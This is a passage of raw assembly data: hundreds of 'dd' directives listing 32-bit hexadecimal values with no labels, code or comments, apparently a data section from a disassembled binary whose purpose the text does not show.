		dd 8C08B509h, 0B9BB98DDh, 95DFB9Bh, 39893811h, 0CF29E1BFh
		dd 9CF895DBh, 0BAF2B423h, 4E8A41B5h, 0A425F5CBh, 988680B9h
		dd 0A58EDB0Ch, 0B21D3CB1h, 0B9171493h, 77741BE0h, 0A4F1FE49h
		dd 11D13093h, 0CC16C100h, 81501A34h, 179E01B2h,	655574DCh
		dd 586326F2h, 88888C0Ah, 50948238h, 98D083C2h, 92CFC728h
		dd 0C85D4D94h, 23D22D0h, 1D825080h, 481F01D8h, 0B2BD1109h
		dd 300D98F4h, 0B71EB1BEh, 0CC6C9080h, 414D0C07h, 840BF2F5h
		dd 81841840h, 23CBE010h, 0FE44EF9Eh, 4B5C4B08h,	360F5AE6h
		dd 6A247875h, 0C6159C26h, 0A1C970E1h, 20664475h, 0E9F786A4h
		dd 4AC6900Fh, 29EDDE1Dh
		dd 0CF4F847Fh, 81100B5Fh, 339C7013h, 1470E6B7h,	0D9319336h
		dd 4261C8ABh, 7CB0ADD6h, 2D25BBB1h, 42299699h, 69C7768Ah
		dd 75AB64E4h, 16019076h, 0B5BE1DFh, 0E444E917h,	0CE1ADD8Fh
		dd 7C8CA9FDh, 2FF66150h, 5D8CA88Eh, 813B593Eh, 0B187976Ch
		dd 10CBBDCFh, 28FE8D6Eh, 542751D6h, 25088F52h, 13DC88Ch
		dd 0F47EFFD4h, 488FBADDh, 9D12045Ch, 9B070154h,	93DF0CF5h
		dd 0E9900156h, 0D9301446h, 0A420016h, 0D012B78Eh, 6FD89BAFh
		dd 0C1B7ADB4h, 537FC108h, 0F98AC2h, 0BCEB2E79h,	30A11BBDh
		dd 0CC4EC22h, 7F88077Fh, 0D41F3803h, 0D5A11157h, 0C4AB51A9h
		dd 0A5076615h, 490807F1h, 838BC383h, 1B2F5A27h,	0AD8C088Ch
		dd 794BF85h, 0F444C11Eh, 0CB078F78h, 744748FDh,	88FEE1F0h
		dd 0BA18E927h, 247698C1h, 0B5DC27B2h, 5794FB10h, 0DC9E18C6h
		dd 6C0205ECh, 8B43409h,	0ADB78BCBh, 94A8C0D4h, 6B8DEA14h
		dd 6188750Fh, 6CF8F913h, 0D218267Ch, 13A86D99h,	0FE047469h
		dd 37458139h, 5C738E33h, 3746B38Ah, 0EC757149h,	4B53682Eh
		dd 6A249466h, 0ED09662h, 749A535Bh, 6E76AE51h, 0BF6BA04Fh
		dd 601F0D36h, 47926C93h, 0ABC136ACh, 0C7EC1332h, 35C94A35h
		dd 25478132h, 40F160A5h, 0CBC0DA8Ah, 701BCCBCh,	77FC8008h
		dd 112CCB80h, 0D59A8930h, 897F208Ah, 233C3656h,	0DBCB1BE3h
		dd 4860155Bh, 0D9471C44h, 8D930124h, 439BA201h,	0A2C1080Eh
		dd 0D89BF79Bh, 0C9CFCF84h, 8AD8404h, 801080C0h,	0C2501F81h
		dd 0C760380Ah, 0DE7C4873h, 0C7B42547h, 23680E7Ch, 0EC7A820Ch
		dd 887C2287h, 87825080h, 4824E790h, 6E62E17Dh, 42C7B238h
		dd 8BD74238h, 0E0314FE3h, 0C6C8A895h, 5B17FE2Ch, 4CC18C05h
		dd 17638578h, 93198F51h, 0B361BAEDh, 74AECB8h, 91F67387h
		dd 73671F57h, 4747B5B1h, 0EE5C9A1Fh, 97186DEh, 8667DF57h
		dd 8D0D3B3Fh, 0F0A0DD10h, 0F5B76540h, 0AD8712EEh, 0A6661F18h
		dd 0E91E9241h, 17D93FB4h, 980AFBA9h, 9D676F48h,	1A4661C5h
		dd 48AF0260h, 0DC7AC307h, 6C0B4D95h, 646FD64Dh,	709DEF4Bh
		dd 64472CB5h, 0A4FBF955h, 0CBB4FCCBh, 2A34908Ah, 0D108974Ah
		dd 64B3A6B7h, 5F189C56h, 3A01B80Eh, 0B9E7A159h,	5072EF04h
		dd 0FC0AF1AEh, 0C7F81DB7h, 7FFC7650h, 0D018DFB4h, 5DC15C58h
		dd 0A7C18C8Dh, 0F77FFD67h, 94D7A8C1h, 68C98843h, 78A12082h
		dd 507AF359h, 8D9E96A2h, 7CCACCBAh, 7A6C1016h, 0D2FC2D17h
		dd 441000B5h, 13B41241h, 14D93231h, 0EE0A40ECh,	10A44000h
		dd 10066A2h, 789E4F2Fh,	0C22EF751h, 210F0602h, 81B09832h
		dd 210E89E2h, 0F160A630h, 0C6CBE5FEh, 7E342915h, 4583E1F1h
		dd 502D9149h, 40950AAh,	1F2A8C48h, 0E9014858h, 160AC563h
		dd 0F07CDE3Eh, 90C6461h, 4DA5595h, 8B62A955h, 8C631511h
		dd 14B94524h, 1F235269h, 30F89290h, 92D4EA95h, 10BC5E2Ch
		dd 0A474422h, 0F0622D1Fh, 0AC8361E0h, 0D02E358Dh, 86B175A6h
		dd 782C966Dh, 0AB8DC52Ch, 0BA5D6E87h, 0C1E90E87h, 5B8D287Bh
		dd 470051BFh, 0F0983349h, 8A6E43E0h, 2773BE10h,	75C4E0CBh
		dd 6439A6F7h, 0B50D8F09h, 0B166C96Ah, 146DC341h, 0F0785B7h
		dd 0CA245219h, 8C2A189Ah, 92891C8Ch, 92D01108h,	5B3E6B41h
		dd 22E17336h, 71E9026Eh, 667006E3h, 0B74C59BFh,	0CBE3E169h
		dd 0D8831698h, 5783BF00h, 0CF4DA5AEh, 0D4DF47A1h, 0B8753A9Ch
		dd 0BF539FCDh, 23511DB4h, 5D1BDDEFh, 5269046Ah,	268F49F9h
		dd 0FEAF5239h, 0EEF72511h, 0AF9233D5h, 4D7D7E89h, 924121F2h
		dd 0FE7D68CFh, 0B7D54BFEh, 0FB3B6E7Bh, 0BDE473EEh, 903BDA47h
		dd 2898F50Fh, 0D64A40C4h, 0F591E4ABh, 3F24611Ch, 64991A48h
		dd 891A4190h, 0FC3F3CE3h, 3B0FC430h, 4483B128h,	6474104Ah
		dd 0E110EF92h, 60EF3C4Eh, 23C30C4h, 0BCD0BBEBh,	6FCBE2F4h
		dd 41210B92h, 0D8F34744h, 4990A47Bh, 33C358D8h,	2708836h
		dd 0B8C623B0h, 76691A41h, 83208810h, 21885210h,	20622287h
		dd 0A4B80983h, 428B0368h, 8D85E290h, 882212AEh,	0D524A20h
		dd 303E1624h, 0DA152962h, 0E1CE4188h, 2689A8F8h, 81507D3Bh
		dd 20B61204h, 5C1505A1h, 0A94FAA1Ah, 0CDCAA2AAh, 0EA729A16h
		dd 1D0AA78Dh, 40162AE9h, 928428C2h, 881683Eh, 0CB3D3036h
		dd 0A3693905h, 0FCDF05CDh, 0B95443C2h, 334D7AF0h, 0C1B0681Ah
		dd 0A0A21B2Dh, 1AC233C1h, 0CFB06D7Bh, 306BAB08h, 62CD4551h
		dd 0E5374D2Dh, 3ADFD574h, 6188AB2Dh, 0A5C1E0B3h, 40FE98A5h
		dd 0FB4B8AA9h, 0CB362DFAh, 63392D0h, 1E06CB4h, 1B76D00Fh
		dd 0B6CF88B6h, 0E105D55Dh, 0C631A46h, 0E23AD2A0h, 1ADEDE88h
		dd 4F5C5715h, 0CE33354Dh, 0AD023B02h, 0F66B02B3h, 557ACD37h
		dd 5417080Bh, 2E8BAA92h, 27431A9Ch, 429052E2h, 6ABEAF26h
		dd 794C48A3h, 38E1C270h, 8DA16888h, 0E940AA2Ah,	98AA168Dh
		dd 3EB30D76h, 0B45A6B35h, 63618A82h, 8E1862B2h,	58F88E23h
		dd 0C57F8BF3h, 158DE16Dh, 7C37B56h, 0C9189826h,	4CE0A1CDh
		dd 20230DABh, 14A688D5h, 8C736CECh, 5380B62Dh, 4A8389CEh
		dd 0DA20695Ah, 8D5F18D8h, 3ED434Dh, 0FAA8F891h,	9280E30Dh
		dd 2965DA56h, 380C7656h, 0DE4200DBh, 22608818h,	79002EADh
		dd 6290772h, 84A0E82Ah,	160A216h, 20E0392Ch, 0E8240CA2h
		dd 94138352h, 8385F830h, 0CCC3084Fh, 22120583h,	90DE2F85h
		dd 93C40579h, 1D056265h, 53132B8h, 0B44CFE1Dh, 79715C43h
		dd 0FE6A942h, 0F3C128BAh, 0F31AB347h, 2F48D526h, 4FD3F429h
		dd 0D1525497h, 4F59C66Fh, 0A9FF5C9Fh, 0A76838B5h, 6338863Dh
		dd 0B10D94C0h, 0DA0B1778h, 6B3ACD79h, 1333DF63h, 0C3E3EB4Bh
		dd 0DD0795C2h, 762D3D31h, 13957A95h, 67981753h,	0A3542CA3h
		dd 36A50155h, 0DA9529Dh, 0AB66361Eh, 70D9DEDAh,	94A18801h
		dd 0DF777696h, 2D35E2C8h, 1CE6A569h, 627C2360h,	55EC2589h
		dd 5110EE5Dh, 0D776111h, 16C08E1Ah, 6816417h, 144D1045h
		dd 153E708Eh, 8955C100h, 0CE0D8CD1h, 155EBE25h,	21445F49h
		dd 973253C1h, 0A0A5979Ah, 4293060Fh, 82D2BC08h,	0D7020B5h
		dd 2682B970h, 3F872120h, 2864A6B5h, 84A7D389h, 74369B27h
		dd 105B080Ch, 0C0A268DBh, 0C98C982Fh, 831A6426h, 6D04809h
		dd 2A1069EDh, 6A416A95h, 0A1A7024Eh, 2506C5ACh,	6C1F01F3h
		dd 0B59B2776h, 0CAE24F80h, 86B1D8FEh, 0D9A492C2h, 2AC30D6Fh
		dd 0B32C664Dh, 0A0BC2FB3h, 0C3E07672h, 3BF5F6D5h, 790B18B4h
		dd 0E38A1C59h, 12040048h, 0E60D00BCh, 84DAC760h, 50020580h
		dd 0A0EF6E09h, 90721780h, 1781C03h, 24305807h, 3D07616h
		dd 0CE06A45h, 680983Dh,	0D38122Ah, 1D4BC0F4h, 18108138h
		dd 6C0E84A9h, 0B81B92D2h, 70521048h, 40681381h,	64D29209h
		dd 81D08208h, 60A55CACh, 26E0F83Ah, 3084A095h, 1894B298h
		dd 0CA88D101h, 0EC1D2268h, 0CCBC9792h, 83DC89E5h, 0A2152120h
		dd 41A1B10h, 87C0FD31h,	97F2F65Eh, 8F2624C4h, 389F99A0h
		dd 719A131Ch, 0D67E6688h, 0F047CC23h, 0C2159B41h, 346E790Fh
		dd 8E259A08h, 0C4286F9Ch, 2319D135h, 3D4850F2h,	8DA74A37h
		dd 429E699Ch, 720E21C8h, 6A214390h, 92634D37h, 408599D3h
		dd 4114D550h, 823E6E4Eh, 44185509h, 3B980450h, 0F01A4B8h
		dd 0FE5FE888h, 16C48AFFh, 0B2F81DCh, 1B435980h,	0F285572Eh
		dd 6C7AAF2Dh, 0C620D850h, 28468715h, 0D82D626Dh, 32A05202h
		dd 0C47C9186h, 81815B83h
		dd 84C0560Eh, 31ABC418h, 1101E078h, 0DCAE20AAh,	7162A6B5h
		dd 54A61F5Ah, 0A9228365h, 2C3605CAh, 56CA7020h,	48803EB5h
		dd 0DAAA2608h, 35571319h, 71818EA7h, 1483F02Bh,	260638CEh
		dd 880DE18Ch, 0ACD9442Bh, 503F042Ah, 75580F82h,	65C6D5EAh
		dd 0ED902245h, 0DDC3604Fh, 0C5EA10B7h, 3485B835h, 482AA44Dh
		dd 0C4329052h, 0C0806119h, 209C9DC9h, 518A0726h, 4389B04Ch
		dd 0F44E229Ch, 0A1F50D86h, 4268EB8Eh, 0C7B20610h, 21A959B7h
		dd 4452CA58h, 0CD599024h, 9003404Ah, 3644D2F4h,	6409A5C0h
		dd 0E9144BD6h, 202E97ECh, 0C0CC114Ah, 813C9622h, 91403B27h
		dd 22C4608Bh, 26EDB027h, 0DB5B64BDh, 0B3B6F246h, 5B2888C5h
		dd 740AC9CBh, 0E02102A0h, 5EFE574Ah, 0B1D10410h, 0F02F04A0h
		dd 5B9F73DCh, 56BAD2DAh, 0AE6DB6B7h, 948A52E7h,	4F64A094h
		dd 778A95DDh, 0AF94850Fh, 592B0475h, 46E9EE19h,	61A203E7h
		dd 0F8266050h, 22AF7400h, 0E4A196B4h, 1D8AE272h, 14E5197Dh
		dd 28A119FAh, 7760BDDEh, 0E782429Fh, 25BA0556h,	4C098A98h
		dd 41D3DCF0h, 0A8212B37h, 54F60940h, 0E0FABC02h, 8963AF03h
		dd 9C0392F7h, 2D0F8168h, 9FE2A40Ah, 0A9DDD258h,	2A4FA4A0h
		dd 6EC2239h, 92E701F5h,	2DDD0AA0h, 32A776DAh, 0A13016B3h
		dd 65282160h, 6704E18h,	0BE10811h, 0BC8B5C0Bh, 9C86C53Eh
		dd 564FCD4Eh, 7054D361h, 0A9393D46h, 9436C3A0h,	0F876F697h
		dd 56B81082h, 0A4D01D08h, 36C95526h, 5E08421h, 149CF609h
		dd 3052962h, 4A0837BFh,	5607D318h, 2AE00210h, 0D6522317h
		dd 329F7308h, 0AA216492h, 1A556E68h, 1982C993h,	2600A8CBh
		dd 9B092269h, 2FB0FE5Ah, 286F981Ah, 4DD8182Dh, 2982CD10h
		dd 3004F26Fh, 4B730180h, 981C01D0h, 861B1C3h, 0BB2694C3h
		dd 6DCECA90h, 700E01h, 18D39A7h, 4B496B51h, 580B019h, 0CC81AB38h
		dd 0F032066h, 34969B99h, 0CECE816Bh, 0B6A7035Ah, 6D5805B5h
		dd 9ACB536Ah, 6D35A7D6h, 812B3767h, 4567752h, 5C18022h
		dd 59EBD2B6h, 4292F6E7h, 2099C0B8h, 6E4E65BBh, 0C6D502B2h
		dd 2D97696Dh, 645EE9DDh, 9C4BA44Dh, 28F04A0Fh, 7477A771h
		dd 6D02095Dh, 0A0119BABh, 0C4748CC1h, 51797709h, 0B6F4EE37h
		dd 0BDCCB9FBh, 0FB9F814Ah, 5B8F7967h, 0D33A92CAh, 60DDE4A4h
		dd 23055F80h, 0BDCF4AAh, 98017B52h, 384F7882h, 0B4D75393h
		dd 0A8A91437h, 0D81FBDE6h, 5666A313h, 5614733h,	0D31DCD68h
		dd 0A95B880Bh, 4F614CA9h, 4C5CE447h, 0AD935240h, 0E7094184h
		dd 85B10116h, 32626C0h,	792AA0E1h, 0F0F80B2Fh, 9C982FEh
		dd 1C9AD2C1h, 188C48D3h, 0CC5437E3h, 0F45736C0h, 4BB2BB6Ch
		dd 0E5B99490h, 7308FBA2h, 0D7821957h, 0E1CCC06Eh, 4418010Eh
		dd 85498270h, 9017D1D2h, 8CB01094h, 0E4FADCAh, 0F8B05F94h
		dd 0A7F296A1h, 0ADAD6990h, 108983E7h, 3EB3005Eh, 2E27D81Bh
		dd 52F6D888h, 4B7F9253h, 0D82204EAh, 30678E80h,	406E5803h
		dd 82D6940Bh, 255D31A5h, 1A0374Dh, 3C0769Eh, 0C978EF20h
		dd 0BF1DE4Fh, 1E07B510h, 4406F8CFh, 0F69EF180h,	0E017A800h
		dd 0C083D101h, 5FA401h,	0FA8D3DE9h, 0D4407BD2h,	0AB75B6B9h
		dd 88EAF019h, 0AC031E58h, 21677546h, 0E75C8100h, 3ECBB37Ah
		dd 0D9209783h, 606F6D25h, 75DFC5F7h, 48C4B9B0h,	8415018h
		dd 56CADEC6h, 0EAECC22Ch, 59B6DF4Eh, 53AAB5FFh,	0C34725FDh
		dd 0B4B12300h, 0DF877074h, 8B4B77h, 0AD4FD4C7h,	0F090C36Eh
		dd 0FBB6A413h, 0F50254B1h, 0FE7C3FE1h, 0B5BFCBF9h, 6C2D0DADh
		dd 1D816037h, 170660DCh, 0EB80AE60h, 2E74CFEDh,	2342B205h
		dd 202404C6h, 4DEAD167h, 74B52CAh, 34B62EBCh, 2EA4D8A0h
		dd 0CE024FAh, 0EADDE052h, 6B628C6Dh, 702EB291h,	6ACA422Ch
		dd 6044D4CDh, 80C2A52h,	0C673EEE8h, 0E044D8A4h,	91406E0Ch
		dd 0B2DA807Ah, 6240DC22h, 23024A93h, 0B002A24Ah, 404293CFh
		dd 944CD407h, 2E4B8228h, 602E5202h, 3492CDAh, 600320ACh
		dd 2D6A952Bh, 0D8AB5302h, 7EB75022h, 6B3A036Dh,	0EFA084CBh
		dd 0C64D004Eh, 0C9029CCh, 0C2875C50h, 2C260E2Ch, 0E02A0949h
		dd 62E402Ah, 900E275h, 0ABA82B30h, 24EFC03h, 72F6C07Ah
		dd 4018B44Fh, 1E61D606h, 0B8D2C104h, 0A0060h, 6010C0Bh
		dd 0C61D6050h, 602806A1h, 10B10910h, 100CB10Bh,	71151131h
		dd 11711911h, 2111E123h, 71251231h, 11B12112h, 910C0CBh
		dd 71340651h, 11FE3513h, 13F13C04h, 0B5141141h,	0A0500B40h
		dd 0F4405114h, 51153150h, 9158F351h, 6513915h, 9B14B140h
		dd 0B1691660h, 0BC05009h, 0BD153154h, 71791760h, 17314B17h
		dd 85183181h, 0A9031831h, 18F18D18h, 95186903h,	0B1991971h
		dd 2003119h, 7AD6E076h,	2076D680h, 0B0D4F1Ah, 72070070h
		dd 2903190Fh, 0D44F72F7h, 531931C0h, 6D6D1911h,	76B3A91h
		dd 709091B0h, 0B1D91AA0h, 1B20771Dh, 22D78021h,	0F05CD670h
		dd 14D18AD4h, 7090314Bh, 0B1B40300h, 0D6ED6F1Ah, 0C11511B6h
		dd 319AF2F1h, 1531C117h, 7320B14Fh, 51A71D8Fh, 21EE1203h
		dd 74754EBDh, 0F1EAB3ABh, 0D951FF1Fh, 0F1B2F70h, 0F14A03D2h
		dd 10715F13h, 0C606A06Bh, 80501CC1h, 0B410C0Eh,	1800A00Ah
		dd 410C09E0h, 1EA1CC0Ch, 0E61F21E6h, 0A1E01E61h, 26726326h
		dd 75273271h, 52792772h, 27E1ED27h, 0DB27F281h,	61E61DA1h
		dd 61DBFE28h, 28C1D61Dh, 981CD291h, 0D29D2912h,	2A328D29h
		dd 832821DBh, 0F2AD26B2h, 2B32B12Ah, 0A92B12B5h, 0F2B72812h
		dd 1D92B32Bh, 0C92C72C0h, 0F2CD2CB2h, 2D32D12Ch, 992B32D5h
		dd 0F2DC49F2h, 2E218049h, 9E184185h, 418C18A4h,	1A019219h
		dd 0F92F72F4h, 0C1A12FB2h, 30330019h, 0F52FD301h, 219D3052h
		dd 2F531019h, 0F53161A9h, 13081952h, 2FB3181Ah,	0C193311h
		dd 931730D3h, 31D3081Ah, 23315333h, 732F32B3h, 31F30D31h
		dd 4932B2F9h, 0E1B53053h, 2FB30334h, 0F933F33Fh, 0D32733F2h
		dd 34F34E19h, 0F7367345h, 818819D2h, 1A61A930h,	0ED377374h
		dd 80C41D81h, 4604E0Eh,	0E006006h, 60C40442h, 1F21DE1Dh
		dd 0F61F41FEh, 73952801h, 3A33A01Fh, 0A93A73A5h, 0E1F53A33h
		dd 3A93AB3Ah, 0B93B61F3h, 73BD27B3h, 27F2BA1Eh,	0C81EB3B3h
		dd 93C93CB3h, 3D33D13Bh, 0B33D53D5h, 0E1ED3C33h, 0F3E01FFEh
		dd 3D33D61Fh, 0ED3EA1F1h, 33E73EB3h, 3F73F53Fh,	0FD3EF3F5h
		dd 21F13FF3h, 1FF4053Eh, 0F140B400h, 140D3E61h,	4033E340h
		dd 0F4093EBh, 0B3CD40F4h, 4261DF3Ch, 601DF429h,	93221AB2h
		dd 30943536h, 0FD43734Bh, 0A1AB32F2h, 43D43A1Ah, 49335345h
		dd 545144F4h, 32132F35h, 5D34B341h, 335733D4h, 35F43743h
		dd 0B21B3305h, 1A81881h, 1E01941Ch, 0C137E1CCh,	600A1040h
		dd 0E80E600h, 0EA1DB38Ch, 21993761h, 1A749349h,	9D49B442h
		dd 34A149F4h, 4A74A54Ah, 754AB377h, 34AD49B3h, 4954AD4Bh
		dd 0AF375495h, 34C14BE1h, 4C74C54Ch, 0B54C34C9h, 0A1A74CF4h
		dd 4D74D54Ch, 0DD4DB4D9h, 34E14DF4h, 4E74E54Eh,	0B01B14C9h
		dd 0D4434C61h, 4421B14Eh, 521B52FFh, 35014FF4h,	50750550h
		dd 0F3325509h, 951150B2h, 2F746333h, 0A61A01C1h, 41D61F21h
		dd 740660Ch, 0B54820FEh, 0FEE80660h, 0A1DA0C40h, 4421F01Fh
		dd 0D34BA1A7h, 75454E94h, 4634C154h, 0AC1A954Dh, 75555521h
		dd 55555955h, 0E354F54Fh, 355B54F4h, 56B55F55h,	0AD567357h
		dd 0D5675641h
		dd 57B57956h, 8157F57Dh, 956957F5h, 4681881Ah, 5D58F45Fh
		dd 734B31F4h, 32959932h, 3936534Dh, 35A55914h, 5A735130h
		dd 615AF5ADh, 55981B53h, 33131F30h, 8D59B43Dh, 75B95B15h
		dd 1F34432Fh, 7537E1D4h, 952C0BC0h, 1E00C4FFh, 0AE1AA1EAh
		dd 92F55721h, 5821BB49h, 7557154Dh, 14C15555h, 1894A557h
		dd 0FD32A188h, 33036035h, 60B5715Fh, 1F54F557h,	955B60D3h
		dd 61B61560h, 0ED5F161Dh, 13176235h, 61F58362h,	161B3567h
		dd 73455135h, 5BB43F35h, 592F7457h, 154D6413h, 50761137h
		dd 7F43F64Bh, 76435095h, 4514A536h, 1B3001B5h, 95221F75h
		dd 115D20Eh, 660F7484h,	21F35DA0h, 31D3195Eh, 241BC1A9h
		dd 55FE6576h, 12F96334h, 68F68C1Ch, 0B354F691h,	15A13635h
		dd 1C16901Ah, 0A56A2190h, 0B5C16A36h, 3276AD6Ah, 0AB6AF44Fh
		dd 0B6B96A76h, 6B41916Bh, 0C56C36C1h, 0B6BD3116h, 6CB6CD6Ch
		dd 0A76B56C7h, 559B6D36h, 51A1936Ah, 0C55955C5h, 13693435h
		dd 44750959h, 0FB58F43Dh, 73676F12h, 6E55AF6Eh,	73367307h
		dd 334E1A14h, 0C526547h, 7008409Eh, 600800C0h, 5DB6700Eh
		dd 0BC1AE1E7h, 0F3215E41h, 1941BA1Ah, 35733730h, 97397377h
		dd 1A163573h, 0BD6D16ACh, 0B74973B6h, 74F74D74h, 5418D733h
		dd 41957517h, 75F75D75h, 3B757761h, 0B7697637h,	76576D76h
		dd 6F74B759h, 0B7797777h, 6A774F76h, 3F32574Dh,	763F43D7h
		dd 78B78D78h, 6563578Dh, 96F94354h, 1AB31F33h, 0E61952F8h
		dd 0E0FE1D61h, 0D007409h, 0E80D5718h, 61E15320h, 1A94301Fh
		dd 7F2F3300h, 17736AD6h, 7CB7C973h, 737CF749h, 8168FE77h
		dd 0B6CF31F5h, 79364F6Bh, 677E77E5h, 0F4A54CF3h, 7DB49F4Ah
		dd 0F97F77E9h, 0F7FD7FB7h, 1F36417Fh, 9F7101E0h, 60AC4A60h
		dd 1ED5DB7Bh, 0F7C17A0h, 0F67E1953h, 5A73115Ah,	0E96FD5C3h
		dd 149F43D6h, 8334A74Ch, 356D949Fh, 0F83D83B8h,	84384183h
		dd 49847845h, 74A584B8h, 85380179h, 59857855h, 980535B8h
		dd 21180D80h, 141D80C4h, 17413218h, 57381C19h, 6219D57Fh
		dd 38781B34h, 68360746h, 494A557Fh, 35AF4D75h, 8934F54Eh
		dd 9188B4EFh, 0F89D8958h, 8958A189h, 9F8A34CBh,	0B8894CB8h
		dd 1BA1BB88h, 5B5BD4BEh, 0F8BD8BB8h, 1A97938Bh,	821185Eh
		dd 0AC00A2h, 1CC09A21h,	7131B86Ah, 0F62C1A18h, 6275878Dh
		dd 9960D8E1h, 0F4CB8438h, 4A38EB8Dh, 0E18F7899h, 0D4DF8AF4h
		dd 54544384h, 98C1431h,	390D90B9h, 8078C545h, 0CF0F58C9h
		dd 609A09F8h, 7A01F21Dh, 0DD2EF31Bh, 6F6298FEh,	58758E75h
		dd 9319318Eh, 0CF84179Fh, 131F8DF4h, 4AD9454Dh,	4D947793h
		dd 395194F9h, 44F95395h, 5D90F49Dh, 396195F9h, 80B91580h
		dd 218D1919h, 0B3314999h, 93331D75h, 7D97B885h,	37957E39h
		dd 74944965h, 8D7D17FFh, 373798F9h, 99799596h, 0C778F999h
		dd 0A0099698h, 67791F91h, 281A17BFh, 0B99A1AD9h, 9B782930h
		dd 0B96F35C7h, 39C19BF9h, 6EF8299Ch, 0CD9B35ADh, 37F99CF9h
		dd 986191h, 9E07E006h, 209A0660h, 67B4F726h, 0F77D1977h
		dd 131B7592h, 7DF74D99h, 6D3176B9h, 0F5535514h,	0A0746D5Ah
		dd 4F7D1A07h, 0FA09A095h, 0A17A1597h, 0FFA119FDh, 0DA1D57F9h
		dd 1A934B46h, 7581A22h,	39D019DAh, 655A35A3h, 0F60D599Fh
		dd 338F91A8h, 73145792h, 301AE1A9h, 61B72FF7h, 1B21C418h
		dd 0A2198194h, 0A18A1C81h, 1AC19418h, 0BA1BC1BCh, 14961AA1h
		dd 0A4F4941Bh, 0FE4BF551h, 9953F4EFh, 0E1AF4981h, 499497A7h
		dd 974CF4A1h, 219C1901h, 87C1AC1Bh, 9D6BE193h, 3871A9F5h
		dd 0A6BA6B87h, 693154F9h, 9A4F5E5Ah, 7281BBA6h,	0AB8B3551h
		dd 0F5E9A801h, 495A701Ah, 0B1A835E1h, 81A1A6E1h, 0AC3551A4h
		dd 85AD21ABh, 7A1963D6h, 8BDAE7AEh, 0F1AEF9C5h,	7AF5AF3Ah
		dd 5996E7AFh, 315721C1h, 21B41897h, 9FD3016Ah, 7C1981A1h
		dd 21A12FF6h, 0D41D01Fh, 3E0BCF96h, 0F921865Ah,	81D9737Bh
		dd 29B101AFh, 186187Ah,	18E199A3h, 8218E1A2h, 9757A621h
		dd 2E618A19h, 621A618Fh, 649E18BAh, 7576A21Bh, 0E21A418Dh
		dd 0B2EC1A52h, 0B65B6175h, 53761B53h, 5B4BB73Bh, 0B494B818h
		dd 53493B53h, 7B8418FBh, 0B7DB8537h, 85757B65h,	1B87B93Bh
		dd 0B11B7FB8h, 8FB5418Dh, 0DB5F75BBh, 0B792ED2Dh, 9649FB9Dh
		dd 57541B61h, 19818BB5h, 0C1B941AAh, 7BC5BC3Bh,	0BCBBC9BCh
		dd 0BCFEFBCDh, 0D5BD3BD1h, 0BBD9BD7Bh, 0BDFBDDBDh, 0E5BE3BE1h
		dd 0BBE9BE7Bh, 0BBBBC5BEh, 0BDA67493h, 13281B21h, 1B3A9B63h
		dd 0A61941A6h, 536D3301h, 0A9B1D66h, 259A3B20h,	0F9E9A45Bh
		dd 1AD90367h, 41731B34h, 6182173Bh, 17817617h, 7C17C178h
		dd 3C31C301h, 175B4018h, 31C39C2Ah, 9C452E7Ch, 0C4A185C3h
		dd 77C2C179h, 3C581821h, 0C45C5018h, 2DC5BC5Bh,	0BC55C63Ch
		dd 0C45C55C6h, 5FC35C35h, 0DC2A179Ch, 0C31C65C6h, 6DC59C57h
		dd 175C6BCh, 0C55C51C4h, 69C40183h, 0BC99C87Ch,	0C9FC9DC9h
		dd 0A5CA3CA1h, 0BCA9CA7Ch, 0C9BCADCAh, 0B5CB3C77h, 0BCB9CB7Ch
		dd 0CBFCBDCBh, 0C5CC3CC1h, 5CC9CC7Ch, 0B79C65CCh, 79A959ADh
		dd 21BE1AD8h, 4F9B0E1Bh, 0D61ED36Dh, 1C13C0E1h,	0A47B27A4h
		dd 0EC1BD81Dh, 0C1BC1BB4h, 0B9E19019h, 0F20F2105h, 21000CE0h
		dd 0F61080Fh, 0F60EA0EAh, 3D0BD160h, 101D05D0h,	0E81FE00h
		dd 200E9D16h, 77B7D23Dh, 0D2FD2B7Bh, 39D2BD2Dh,	0FD21D3BDh
		dd 0D43D400Fh, 0FFD47D45h, 61001080h, 0D53D51D1h, 2FD2FD55h
		dd 0DD55D55Dh, 0D2DD61D3h, 59D1FD29h, 0BD580F7Dh, 0D72109D0h
		dd 5DD0FD55h, 0FD7DD7BDh, 0D83D81D7h, 89D87D85h, 7D8DD8BDh
		dd 0D93D73D8h, 99D63D93h, 0FD9DD9BDh, 0DA3DA1D9h, 0A9DA7DA5h
		dd 0FDADDABDh, 0D05DADDAh, 821040FFh, 0FB9E1981h, 87D31D2Eh
		dd 0E3445CDFh, 3B1FCE7Ch, 0A4209FB2h, 1DAD7B29h, 0BCF61BB8h
		dd 18B9AC1Bh, 1C0CE182h, 0C09C7681h, 4360E49Eh,	760E2088h
		dd 0C41A5307h, 0E007689Eh, 9E069F3h, 5DF1E03Eh,	61DE0BE0h
		dd 0F3E15E14h, 0FE0BE189h, 0DF8799E1h, 0FE1E531h, 0C9EBE0FEh
		dd 0DF076BE2h, 0EBE11E33h, 0FE3DE1E9h, 0E43E41E3h, 49E47E45h
		dd 0FE4DE4BEh, 0E53E51E4h, 59E57E55h, 0FE5DE5BEh, 0E03E61E5h
		dd 8128669h, 0F493DBA1h, 2FE1992Eh, 0C0419DFEh,	8930F443h
		dd 1CE9CE41h, 0A47DD5DDh, 0D38B3321h, 7B9FDE1Ah, 0E26099DEh
		dd 40098769h, 9DE17Eh, 0E51E13E2h, 4DE22A3Bh, 3E35E2BEh
		dd 0EB7EB5E6h, 0BDEBBEB9h, 3EC1EBFEh, 0EC7EC5ECh, 0E811DEB9h
		dd 0DA83C3C0h, 87937551h, 81E7D7F1h, 3C15DCFEh,	67BCEFDDh
		dd 0F98B3E8Bh, 0C177DE3Ch, 7960E410h, 2E078768h, 0FEC9EB1Eh
		dd 0E37E2BEFh, 0B1E0DEB3h, 0FE09E31Eh, 0EB89E9F0h, 15E29F15h
		dd 3F21F1FFh, 0F27F25F2h, 0DF21F29h, 7E0BF23Fh,	0F37F03F1h
		dd 3DF3BF39h, 20D9E43Fh, 0ECFDEE0Eh, 0A15694D3h, 14AF87D7h
		dd 1881877Ch, 0E1B1A1F6h, 3C19CEDEh, 72DEEB97h,	77B9F9B1h
		dd 69E80EC1h, 9C0E5DFh,	4A1FE1E6h, 0E14A0E21h, 0F441E61Fh
		dd 5F921E0Bh, 1E07F8DEh, 0F9076929h, 9BE09F95h,	41D7E4BFh
		dd 0E527ABF8h, 6BEAD921h, 3F3FEA27h, 0FB7FB5FBh, 0BDFBBFB9h
		dd 1F75E4BFh, 0FE218210h, 2FFBFFADh, 71E761C5h,	7F5619D9h
		dd 0E821D41Fh, 19E87EE3h, 15518713h, 1861C534h,	0F2198192h
